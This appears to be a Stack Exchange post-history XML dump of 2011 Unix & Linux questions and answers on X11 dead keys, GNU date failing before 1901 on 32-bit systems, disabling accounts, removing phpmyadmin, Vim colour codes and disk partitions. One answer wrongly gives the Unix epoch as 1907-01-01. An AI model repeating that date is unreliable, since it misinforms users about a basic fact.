  <row Id="17970" PostHistoryTypeId="5" PostId="7687" RevisionGUID="7795e67e-7a22-4499-9734-9f9c157d6b9b" CreationDate="2011-02-19T23:51:38.497" UserId="3169" Comment="added 357 characters in body" Text="The dead key settings depend on your locale and character set.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * `en_US.UTF-8` is defined in `/usr/share/X11/locale/en_US.UTF-8/Compose`&#xD;&#xA;  * `ISO 8859-1` is defined in `/usr/share/X11/locale/iso8859-1/Compose` &#xD;&#xA;&#xD;&#xA;If you look in them using `grep`, you can see there is a difference:&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/en_US.UTF-8/Compose &#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;                 	: &quot;ć&quot;   U0107 # LATIN SMALL LETTER C WITH ACUTE&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;			: &quot;\347&quot;	ccedilla&#xD;&#xA;&#xD;&#xA;Namely:&#xD;&#xA;&#xD;&#xA;  * Latin1 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ç`&#xD;&#xA;  * UTF-8 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ć`&#xD;&#xA;&#xD;&#xA;The [git logs][1] (([en_US.UTF-8][2]) ([iso8859-1][3])) show it has been this way since at least 2004.&#xD;&#xA;&#xD;&#xA;  [1]: git://anongit.freedesktop.org/git/xorg/lib/libX11&#xD;&#xA;  [2]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/en_US.UTF-8/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;  [3]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/iso8859-1/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The difference between US International and US Alternative International is defined in `/usr/share/X11/xkb/symbols/us`.&#xD;&#xA;&#xD;&#xA;Namely, the US Alternative International layout adds these extra AltGr dead keys:&#xD;&#xA;&#xD;&#xA;  * dead_macron: on AltGr-minus&#xD;&#xA;  * dead_breve: on AltGr-parenleft&#xD;&#xA;  * dead_abovedot: on AltGr-period&#xD;&#xA;  * dead_abovering: on AltGr-0&#xD;&#xA;  * dead_doubleacute: on AltGr-equal (as quotedbl is already used)&#xD;&#xA;  * dead_caron: on AltGr-less (AltGr-shift-comma)&#xD;&#xA;  * dead_cedilla: on AltGr-comma&#xD;&#xA;  * dead_ogonek: on AltGr-semicolon&#xD;&#xA;  * dead_belowdot: on AltGr-underscore (AltGr-shift-minus)&#xD;&#xA;  * dead_hook: on AltGr-question&#xD;&#xA;  * dead_horn: on AltGr-plus (AltGr-shift-equal)&#xD;&#xA;  * dead_diaeresis: on AltGr-colon (Alt-shift-semicolon)&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * US International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; = `¥`&#xD;&#xA;  * US Alternative International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;a&lt;/kbd&gt; = `ā`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UTF-8 became the default encoding:&#xD;&#xA;&#xD;&#xA;  * Debian: version 4.0 &quot;etch&quot;, released April 8, 2007 [reference 1][4] [reference 2][5]&#xD;&#xA;  * Red Hat: Red Hat 8.0 &quot;Psyche&quot;, released September 30, 2002 [reference][6]&#xD;&#xA;&#xD;&#xA;  [4]: http://wiki.debian.org/NewInEtch&#xD;&#xA;  [5]: http://www.debian.org/News/2007/20070408&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Red_Hat_Linux" />
  <row Id="17971" PostHistoryTypeId="5" PostId="7687" RevisionGUID="a48c9948-d44a-4491-b9b8-1e1fcff2262c" CreationDate="2011-02-19T23:59:11.230" UserId="3169" Comment="added 119 characters in body; added 205 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;1. If you are using Ubuntu, it probably changed around 2005, when the default character set changed from ISO 8859-1 to UTF-8.&#xD;&#xA;2. US Alternative International adds some dead keys.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The dead key settings depend on your locale and character set.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * `en_US.UTF-8` is defined in `/usr/share/X11/locale/en_US.UTF-8/Compose`&#xD;&#xA;  * `ISO 8859-1` is defined in `/usr/share/X11/locale/iso8859-1/Compose` &#xD;&#xA;&#xD;&#xA;If you look in them using `grep`, you can see there is a difference:&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/en_US.UTF-8/Compose &#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;                 	: &quot;ć&quot;   U0107 # LATIN SMALL LETTER C WITH ACUTE&#xD;&#xA;&#xD;&#xA;    $ grep '&lt;dead_acute&gt; &lt;c&gt;' /usr/share/X11/locale/iso8859-1/Compose&#xD;&#xA;    &lt;dead_acute&gt; &lt;c&gt;			: &quot;\347&quot;	ccedilla&#xD;&#xA;&#xD;&#xA;Namely:&#xD;&#xA;&#xD;&#xA;  * Latin1 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ç`&#xD;&#xA;  * UTF-8 encoding: &lt;kbd&gt;'&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt; = `ć`&#xD;&#xA;&#xD;&#xA;The [git logs][1] (([en_US.UTF-8][2]) ([iso8859-1][3])) show it has been this way since at least 2004.&#xD;&#xA;&#xD;&#xA;  [1]: git://anongit.freedesktop.org/git/xorg/lib/libX11&#xD;&#xA;  [2]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/en_US.UTF-8/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;  [3]: http://cgit.freedesktop.org/xorg/lib/libX11/tree/nls/iso8859-1/Compose.pre?id=c6349f43193b74a3c09945f3093a871b0157ba47&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The difference between US International and US Alternative International is defined in `/usr/share/X11/xkb/symbols/us`.&#xD;&#xA;&#xD;&#xA;Namely, the US Alternative International layout adds these extra AltGr dead keys:&#xD;&#xA;&#xD;&#xA;  * dead_macron: on AltGr-minus&#xD;&#xA;  * dead_breve: on AltGr-parenleft&#xD;&#xA;  * dead_abovedot: on AltGr-period&#xD;&#xA;  * dead_abovering: on AltGr-0&#xD;&#xA;  * dead_doubleacute: on AltGr-equal (as quotedbl is already used)&#xD;&#xA;  * dead_caron: on AltGr-less (AltGr-shift-comma)&#xD;&#xA;  * dead_cedilla: on AltGr-comma&#xD;&#xA;  * dead_ogonek: on AltGr-semicolon&#xD;&#xA;  * dead_belowdot: on AltGr-underscore (AltGr-shift-minus)&#xD;&#xA;  * dead_hook: on AltGr-question&#xD;&#xA;  * dead_horn: on AltGr-plus (AltGr-shift-equal)&#xD;&#xA;  * dead_diaeresis: on AltGr-colon (Alt-shift-semicolon)&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  * US International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; = `¥`&#xD;&#xA;  * US Alternative International: &lt;kbd&gt;AltGr&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;a&lt;/kbd&gt; = `ā`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UTF-8 became the default encoding:&#xD;&#xA;&#xD;&#xA;  * Red Hat 8.0 &quot;Psyche&quot;, released September 30, 2002 [reference][6]&#xD;&#xA;  * Ubuntu 5.04 &quot;hoary&quot;, released April 8, 2005 [reference][7]&#xD;&#xA;  * Debian 4.0 &quot;etch&quot;, released as &quot;stable&quot; April 8, 2007 [reference 1][4] [reference 2][5]&#xD;&#xA;&#xD;&#xA;  [4]: http://wiki.debian.org/NewInEtch&#xD;&#xA;  [5]: http://www.debian.org/News/2007/20070408&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Red_Hat_Linux&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/List_of_Ubuntu_releases" />
  <row Id="17972" PostHistoryTypeId="2" PostId="7688" RevisionGUID="0a9b3774-7942-411f-837e-9ad462cb2e56" CreationDate="2011-02-20T00:10:23.023" UserId="2833" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have date (GNU coreutils) 7.1 installed on my system.&#xD;&#xA;&#xD;&#xA;If i try to check for any dates prior to 14-Dec-1901, i get invalid date errors.&#xD;&#xA;&#xD;&#xA;What should i do to make the date utility to treat years prior to 1901 as valid???&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-13&#xD;&#xA;      date: invalid date `1901-12-13'&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-14&#xD;&#xA;      Sat Dec 14 00:00:00 EST 1901&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17973" PostHistoryTypeId="1" PostId="7688" RevisionGUID="0a9b3774-7942-411f-837e-9ad462cb2e56" CreationDate="2011-02-20T00:10:23.023" UserId="2833" Text="date - years prior to 1901 are treated as invalid" />
  <row Id="17974" PostHistoryTypeId="3" PostId="7688" RevisionGUID="0a9b3774-7942-411f-837e-9ad462cb2e56" CreationDate="2011-02-20T00:10:23.023" UserId="2833" Text="ébashàéshellàédateà" />
  <row Id="17975" PostHistoryTypeId="5" PostId="7677" RevisionGUID="480e1c29-4e76-4ff2-aeea-21751e45c963" CreationDate="2011-02-20T00:33:39.470" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="What is the difference between &quot;extended&quot; partitions and &quot;logical&quot; partitions on my hard disk? What's the need for each? I am using Linux &#xD;&#xA;&#xD;&#xA;" />
  <row Id="17976" PostHistoryTypeId="6" PostId="7677" RevisionGUID="480e1c29-4e76-4ff2-aeea-21751e45c963" CreationDate="2011-02-20T00:33:39.470" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="épartitionàéhardödiskà" />
  <row Id="17977" PostHistoryTypeId="2" PostId="7689" RevisionGUID="fbfa4f26-d205-4254-b8ee-92ec9e97d471" CreationDate="2011-02-20T00:35:20.173" UserId="3169" Text="Good question.&#xD;&#xA;&#xD;&#xA;The [documentation][1] says it should be allowed.&#xD;&#xA;&#xD;&#xA;     info date 'Date input formats' 'Calendar date items'&#xD;&#xA;&#xD;&#xA;&gt;   For numeric months, the ISO 8601 format `YEAR-MONTH-DAY' is allowed,&#xD;&#xA;where YEAR is any positive number, ...&#xD;&#xA;&#xD;&#xA;&gt; A leading zero must be present if a number is less than ten.&#xD;&#xA;&#xD;&#xA;&gt; If YEAR is 68 or smaller, then 2000 is added to it; otherwise, if YEAR is less than 100, then 1900 is added to it.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/coreutils.html#Calendar-date-items" />
  <row Id="17978" PostHistoryTypeId="5" PostId="7689" RevisionGUID="b9560772-f653-4320-a72f-2e8773b6f94a" CreationDate="2011-02-20T00:46:51.400" UserId="3169" Comment="added 165 characters in body; added 31 characters in body" Text="Good question.&#xD;&#xA;&#xD;&#xA;The [documentation][1] says it should be allowed.&#xD;&#xA;&#xD;&#xA;     info date 'Date input formats' 'Calendar date items'&#xD;&#xA;&#xD;&#xA;&gt;   For numeric months, the ISO 8601 format `YEAR-MONTH-DAY' is allowed,&#xD;&#xA;where YEAR is any positive number, ...&#xD;&#xA;&#xD;&#xA;&gt; A leading zero must be present if a number is less than ten.&#xD;&#xA;&#xD;&#xA;&gt; If YEAR is 68 or smaller, then 2000 is added to it; otherwise, if YEAR is less than 100, then 1900 is added to it.&#xD;&#xA;&#xD;&#xA;Are you on a 32-bit system?&#xD;&#xA;&#xD;&#xA;Do you get an error with dates after 2038-01-20 as well, e.g.&#xD;&#xA;&#xD;&#xA;    date -d '2038-01-20'&#xD;&#xA;&#xD;&#xA;If so, it sounds like GNU date is using a 32-bit time value.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/coreutils.html#Calendar-date-items&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17979" PostHistoryTypeId="5" PostId="7689" RevisionGUID="7893a39c-edef-493b-87c2-677b48310952" CreationDate="2011-02-20T01:04:55.177" UserId="3169" Comment="added 645 characters in body" Text="Good question.&#xD;&#xA;&#xD;&#xA;The [documentation][1] says it should be allowed.&#xD;&#xA;&#xD;&#xA;     info date 'Date input formats' 'Calendar date items'&#xD;&#xA;&#xD;&#xA;&gt;   For numeric months, the ISO 8601 format `YEAR-MONTH-DAY' is allowed,&#xD;&#xA;where YEAR is any positive number, ...&#xD;&#xA;&#xD;&#xA;&gt; A leading zero must be present if a number is less than ten.&#xD;&#xA;&#xD;&#xA;&gt; If YEAR is 68 or smaller, then 2000 is added to it; otherwise, if YEAR is less than 100, then 1900 is added to it.&#xD;&#xA;&#xD;&#xA;Are you on a 32-bit system?&#xD;&#xA;&#xD;&#xA;Do you get an error with dates after 2038-01-20 as well, e.g.&#xD;&#xA;&#xD;&#xA;    date -d '2038-01-20'&#xD;&#xA;&#xD;&#xA;If so, it sounds like GNU date is using a 32-bit time value.&#xD;&#xA;&#xD;&#xA;I'm not sure how you can fix this other than using a 64-bit system or using a different tool.&#xD;&#xA;&#xD;&#xA;Some background:&#xD;&#xA;&#xD;&#xA;Unix times count the number of seconds from January 1 1970, and if the system uses 32-bit integers, it can only count 2.1 billion seconds forward (up to 2038-01-19 03:14:02 UTC) and 2.1 billion seconds backwards (back to 1901-12-13 20:45:52 UTC).&#xD;&#xA;&#xD;&#xA;More information at:&#xD;&#xA;&#xD;&#xA;  * [Unix time][3]&#xD;&#xA;  * [Year 2038 problem][2]&#xD;&#xA;  * [1901][4] (Significance of 1901 for Modern Computers)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/coreutils.html#Calendar-date-items&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Year_2038_problem&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Unix_epoch&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/1901&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17980" PostHistoryTypeId="5" PostId="7688" RevisionGUID="06b39b64-ddae-4c33-b260-3edfcae84793" CreationDate="2011-02-20T01:11:25.620" UserId="1207" Comment="deleted 10 characters in body" Text="I have date (GNU coreutils) 7.1 installed on my system.&#xD;&#xA;&#xD;&#xA;If I try to check dates prior to 14-Dec-1901, I get an &quot;invalid date&quot; error. For example,&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-13&#xD;&#xA;      date: invalid date `1901-12-13'&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-14&#xD;&#xA;      Sat Dec 14 00:00:00 EST 1901&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What should I do to make the `date` utility to treat years prior to 1901 as valid?" />
  <row Id="17981" PostHistoryTypeId="5" PostId="7689" RevisionGUID="b5addab5-3689-4efc-8550-185cb6da23c4" CreationDate="2011-02-20T01:15:50.967" UserId="3169" Comment="added 215 characters in body" Text="Good question.&#xD;&#xA;&#xD;&#xA;The [documentation][1] says it should be allowed.&#xD;&#xA;&#xD;&#xA;     info date 'Date input formats' 'Calendar date items'&#xD;&#xA;&#xD;&#xA;&gt;   For numeric months, the ISO 8601 format `YEAR-MONTH-DAY' is allowed,&#xD;&#xA;where YEAR is any positive number, ...&#xD;&#xA;&#xD;&#xA;&gt; A leading zero must be present if a number is less than ten.&#xD;&#xA;&#xD;&#xA;&gt; If YEAR is 68 or smaller, then 2000 is added to it; otherwise, if YEAR is less than 100, then 1900 is added to it.&#xD;&#xA;&#xD;&#xA;Are you on a 32-bit system?&#xD;&#xA;&#xD;&#xA;Do you get an error with dates after 2038-01-20 as well, e.g.&#xD;&#xA;&#xD;&#xA;    date -d '2038-01-20'&#xD;&#xA;&#xD;&#xA;If so, it sounds like GNU date is using a 32-bit time value.&#xD;&#xA;&#xD;&#xA;I'm not sure how you can fix this other than using a 64-bit system or using a different tool, for example [DateTime][5] in Perl or [datetime][6] in Python.&#xD;&#xA;&#xD;&#xA;Some background:&#xD;&#xA;&#xD;&#xA;Unix times count the number of seconds from January 1 1970 using an integer value.  If the system uses 32-bit integers, it can only count 2.1 billion seconds forward (up to 2038-01-19 03:14:02 UTC) and 2.1 billion seconds backwards (back to 1901-12-13 20:45:52 UTC).&#xD;&#xA;&#xD;&#xA;More information at:&#xD;&#xA;&#xD;&#xA;  * [Unix time][3]&#xD;&#xA;  * [Year 2038 problem][2]&#xD;&#xA;  * [1901][4] (Significance of 1901 for Modern Computers)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/coreutils.html#Calendar-date-items&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Year_2038_problem&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Unix_epoch&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/1901&#xD;&#xA;  [5]: http://search.cpan.org/~drolsky/DateTime-0.66/lib/DateTime.pm&#xD;&#xA;  [6]: http://docs.python.org/library/datetime.html#module-datetime&#xD;&#xA;" />
  <row Id="17982" PostHistoryTypeId="2" PostId="7690" RevisionGUID="a850d037-cf69-4559-83f2-860cbaefe343" CreationDate="2011-02-20T02:13:37.213" UserId="4069" Text="How do i completely disable an account? passwd -l will not allow anyone to log into an account using a password but you can still log in via private/public keys. How would i disable the account completely? As a quickfix i renamed the file to authorized_keys_lockme. Is there another way?" />
  <row Id="17983" PostHistoryTypeId="1" PostId="7690" RevisionGUID="a850d037-cf69-4559-83f2-860cbaefe343" CreationDate="2011-02-20T02:13:37.213" UserId="4069" Text="How do i completely disable an account?" />
  <row Id="17984" PostHistoryTypeId="3" PostId="7690" RevisionGUID="a850d037-cf69-4559-83f2-860cbaefe343" CreationDate="2011-02-20T02:13:37.213" UserId="4069" Text="élockà" />
  <row Id="17985" PostHistoryTypeId="25" PostId="7688" RevisionGUID="82fadd13-483e-4bed-a27d-319e12bc7a29" CreationDate="2011-02-20T02:23:14.690" Comment="http://twitter.com/#!/StackUnix/status/39148039541231616" />
  <row Id="17986" PostHistoryTypeId="2" PostId="7691" RevisionGUID="984fab3c-740f-4f5a-91cc-d8d3984db6db" CreationDate="2011-02-20T02:28:46.003" UserId="3455" Text="Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.&#xD;&#xA;&#xD;&#xA;Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.&#xD;&#xA;&#xD;&#xA;When I arrived home, I attempted to remove the package through `aptitude --purge` which turns out to no more potent than `aptitude -remove` in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.&#xD;&#xA;&#xD;&#xA;I tried to reinstall phpmyadmin, but aptitude simply so no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.&#xD;&#xA;&#xD;&#xA;In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude." />
  <row Id="17987" PostHistoryTypeId="1" PostId="7691" RevisionGUID="984fab3c-740f-4f5a-91cc-d8d3984db6db" CreationDate="2011-02-20T02:28:46.003" UserId="3455" Text="Removing broken packages" />
  <row Id="17988" PostHistoryTypeId="3" PostId="7691" RevisionGUID="984fab3c-740f-4f5a-91cc-d8d3984db6db" CreationDate="2011-02-20T02:28:46.003" UserId="3455" Text="édebianàépackageömanagementàéaptitudeà" />
  <row Id="17989" PostHistoryTypeId="6" PostId="7678" RevisionGUID="8eecac47-3b13-4f30-a85f-81bb5001a0b1" CreationDate="2011-02-20T02:30:45.160" UserId="250" Comment="add the hardware tag (not sure about AV grabber)" Text="élinuxàéhardwareà" />
  <row Id="17990" PostHistoryTypeId="2" PostId="7692" RevisionGUID="4bfc2c9c-d5e6-4b44-91d4-17086c698dda" CreationDate="2011-02-20T02:32:24.257" UserId="4910" Text="To delete entirely it use `userdel`.&#xD;&#xA;&#xD;&#xA;Please note that if you delete an account there is a risk that its user ID will still be used in the file system somewhere and a new user would inherit ownership of those files if it came in under that same user id.&#xD;&#xA;&#xD;&#xA;You would want to change the owner of any files that are owned by the deleted user.&#xD;&#xA;&#xD;&#xA;If you would like to add the user back later, save its lines from `/etc/passwd` (and on Solaris `/etc/shadow`) to temporary files such as `/etc/passwd_deleted`.&#xD;&#xA;&#xD;&#xA;That way when you add it back you can use the same user id and the same password (which is encrypted in one of the above files)&#xD;&#xA;&#xD;&#xA;Disclaimer: I learned UNIX on my own so I would not be surprised if there is a better way to temporarily disable the user. In fact I don't even know what the private/public keys are you are talking about. Also I am sure there is a `find` command that can be used for looking up the files with that owner userid" />
  <row Id="17991" PostHistoryTypeId="5" PostId="7691" RevisionGUID="32081fd5-a4f1-42b6-bdec-c4cff2a4ac77" CreationDate="2011-02-20T02:38:21.713" UserId="3455" Comment="typos" Text="Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.&#xD;&#xA;&#xD;&#xA;Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.&#xD;&#xA;&#xD;&#xA;When I arrived home, I attempted to remove the package through `aptitude --purge` which turns out to no more potent than `aptitude -remove` in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.&#xD;&#xA;&#xD;&#xA;I tried to reinstall phpmyadmin, but aptitude simply stated that there was no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.&#xD;&#xA;&#xD;&#xA;In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude." />
  <row Id="17992" PostHistoryTypeId="2" PostId="7693" RevisionGUID="5de7ead8-4c2d-41f5-a5c3-e08e16a6c1de" CreationDate="2011-02-20T02:39:15.207" UserId="1107" Text="Your system (or at least that version of *date*) is probably using a 32-bit internal time value.&#xD;&#xA;&#xD;&#xA;The Unix epoch (zero time value) is 1907-01-01 00:00:00 UTC. This starting point puts 1901-12-13 00:00 EST just outside the range of a signed 32-bit time value.&#xD;&#xA;&#xD;&#xA;1901-12-14 00:00:00 EST is -2147454000  &#xD;&#xA;1901-12-13 15:45:52 EST is -2147483648 (aka `INT_MIN` in C, the minimum 32-bit signed integer)  &#xD;&#xA;1901-12-13 00:00:00 EST is -2147540400  &#xD;&#xA;&#xD;&#xA;You could try using 1901-12-13 15:45:52 EST. It should work, but one second earlier will probably fail in the same way as 1901-12-13 00:00.&#xD;&#xA;" />
  <row Id="17993" PostHistoryTypeId="2" PostId="7694" RevisionGUID="8a79df21-1cb2-49bc-95dd-0fa6b80eb56b" CreationDate="2011-02-20T03:19:06.963" UserId="2511" Text="Lock the password and change the shell to `/bin/nologin`. " />
  <row Id="17994" PostHistoryTypeId="2" PostId="7695" RevisionGUID="7ba46d2d-a402-4d37-8bf0-6e8a9f319ee1" CreationDate="2011-02-20T04:19:29.383" UserId="250" Text="In short, I'm in an effort to replace `less` with `vim` (`vimpager`). I have settings for scripts to spit out colors (and bold and everything nice) whenever they can. `less` understands the color codes and displays them nicely. How can I make `vim` parse the codes and display colors/boldness the way `less` does?" />
  <row Id="17995" PostHistoryTypeId="1" PostId="7695" RevisionGUID="7ba46d2d-a402-4d37-8bf0-6e8a9f319ee1" CreationDate="2011-02-20T04:19:29.383" UserId="250" Text="How to make Vim display colors as indicated by color codes?" />
  <row Id="17996" PostHistoryTypeId="3" PostId="7695" RevisionGUID="7ba46d2d-a402-4d37-8bf0-6e8a9f319ee1" CreationDate="2011-02-20T04:19:29.383" UserId="250" Text="évimàécolorsàépagerà" />
  <row Id="17997" PostHistoryTypeId="5" PostId="7689" RevisionGUID="d5c4e161-d51c-4f3f-85b9-f4c70936be04" CreationDate="2011-02-20T05:14:47.253" UserId="2421" Comment="don't link to specific version of DateTime; link directly to indicated heading in Wikipedia" Text="Good question.&#xD;&#xA;&#xD;&#xA;The [documentation][1] says it should be allowed.&#xD;&#xA;&#xD;&#xA;     info date 'Date input formats' 'Calendar date items'&#xD;&#xA;&#xD;&#xA;&gt;   For numeric months, the ISO 8601 format `YEAR-MONTH-DAY' is allowed,&#xD;&#xA;where YEAR is any positive number, ...&#xD;&#xA;&#xD;&#xA;&gt; A leading zero must be present if a number is less than ten.&#xD;&#xA;&#xD;&#xA;&gt; If YEAR is 68 or smaller, then 2000 is added to it; otherwise, if YEAR is less than 100, then 1900 is added to it.&#xD;&#xA;&#xD;&#xA;Are you on a 32-bit system?&#xD;&#xA;&#xD;&#xA;Do you get an error with dates after 2038-01-20 as well, e.g.&#xD;&#xA;&#xD;&#xA;    date -d '2038-01-20'&#xD;&#xA;&#xD;&#xA;If so, it sounds like GNU date is using a 32-bit time value.&#xD;&#xA;&#xD;&#xA;I'm not sure how you can fix this other than using a 64-bit system or using a different tool, for example [DateTime][5] in Perl or [datetime][6] in Python.&#xD;&#xA;&#xD;&#xA;Some background:&#xD;&#xA;&#xD;&#xA;Unix times count the number of seconds from January 1 1970 using an integer value.  If the system uses 32-bit integers, it can only count 2.1 billion seconds forward (up to 2038-01-19 03:14:02 UTC) and 2.1 billion seconds backwards (back to 1901-12-13 20:45:52 UTC).&#xD;&#xA;&#xD;&#xA;More information at:&#xD;&#xA;&#xD;&#xA;  * [Unix time][3]&#xD;&#xA;  * [Year 2038 problem][2]&#xD;&#xA;  * [1901 (Significance of 1901 for Modern Computers)][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/coreutils.html#Calendar-date-items&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Year_2038_problem&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Unix_epoch&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/1901#Significance_of_1901_for_modern_computers&#xD;&#xA;  [5]: http://search.cpan.org/perldoc?DateTime&#xD;&#xA;  [6]: http://docs.python.org/library/datetime.html#module-datetime&#xD;&#xA;" />
  <row Id="17998" PostHistoryTypeId="24" PostId="7689" RevisionGUID="39aec413-80de-4804-839b-9f7151f13d8c" CreationDate="2011-02-20T05:14:47.253" Comment="Proposed by 2421 approved by 73 edit id of 35" />
  <row Id="17999" PostHistoryTypeId="25" PostId="7690" RevisionGUID="3e03ca2e-de35-4cf1-b0c0-79804a5a65c2" CreationDate="2011-02-20T05:23:14.373" Comment="http://twitter.com/#!/StackUnix/status/39193336409620480" />
  <row Id="18000" PostHistoryTypeId="5" PostId="7688" RevisionGUID="9c7d5be0-ed3f-48d1-bf39-c932b23a5394" CreationDate="2011-02-20T06:36:42.683" UserId="2833" Comment="added 56 characters in body" Text="I have date (GNU coreutils) 7.1 installed on my system.&#xD;&#xA;&#xD;&#xA;If I try to check dates prior to 14-Dec-1901, I get an &quot;invalid date&quot; error. For example,&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-13&#xD;&#xA;      date: invalid date `1901-12-13'&#xD;&#xA;&#xD;&#xA;      $ date -d 1901-12-14&#xD;&#xA;      Sat Dec 14 00:00:00 EST 1901&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What should I do to make the `date` utility to treat years prior to 1901 as valid?&#xD;&#xA;&#xD;&#xA;I receive similar errors for dates after 19-Jan-2038" />
  <row Id="18001" PostHistoryTypeId="5" PostId="7679" RevisionGUID="b655ffd1-392d-44ce-aea2-e53610fe02d5" CreationDate="2011-02-20T07:08:34.390" UserId="2421" Comment="link to suggested Wikipedia entries" Text="Historically, hard drives have only been able to contain at most four partitions because of the originally defined format of the partition table. This is not specific to operating systems. You simply can't create more than four primary partitions [1].&#xD;&#xA;&#xD;&#xA;In order to circumvent this limit and still remain compatible with older systems, you can create an extended partition however. An extended partition can contain multiple logical partitions within it. This allows you to create more than four partitions in total, without having to change the format of the partition table.&#xD;&#xA;&#xD;&#xA;If you're interested in the details, you can look at the Wikipedia entries on [disk partitioning][1] or the [master boot record][2].&#xD;&#xA;&#xD;&#xA;[1] At least on computers with BIOS firmware, I don't know if the UEFI standard (a BIOS-replacement) lifts this limitation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Disk_partitioning&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Master_boot_record" />
  <row Id="18002" PostHistoryTypeId="24" PostId="7679" RevisionGUID="25b62881-af15-4003-a72e-cf877e06e6a2" CreationDate="2011-02-20T07:08:34.390" Comment="Proposed by 2421 approved by 73 edit id of 36" />
  <row Id="18003" PostHistoryTypeId="2" PostId="7696" RevisionGUID="f7801678-9cfd-4742-9cf2-f67fc9fe3699" CreationDate="2011-02-20T07:21:44.893" UserId="688" Text="(I'm going to assume you meant `aptitude purge` and `apt-get remove`, because the commands you cited don't exist)&#xD;&#xA;&#xD;&#xA;Try `dpkg --purge phpmyadmin`. It's lower-level that the other tools, so might be more effective in this case." />
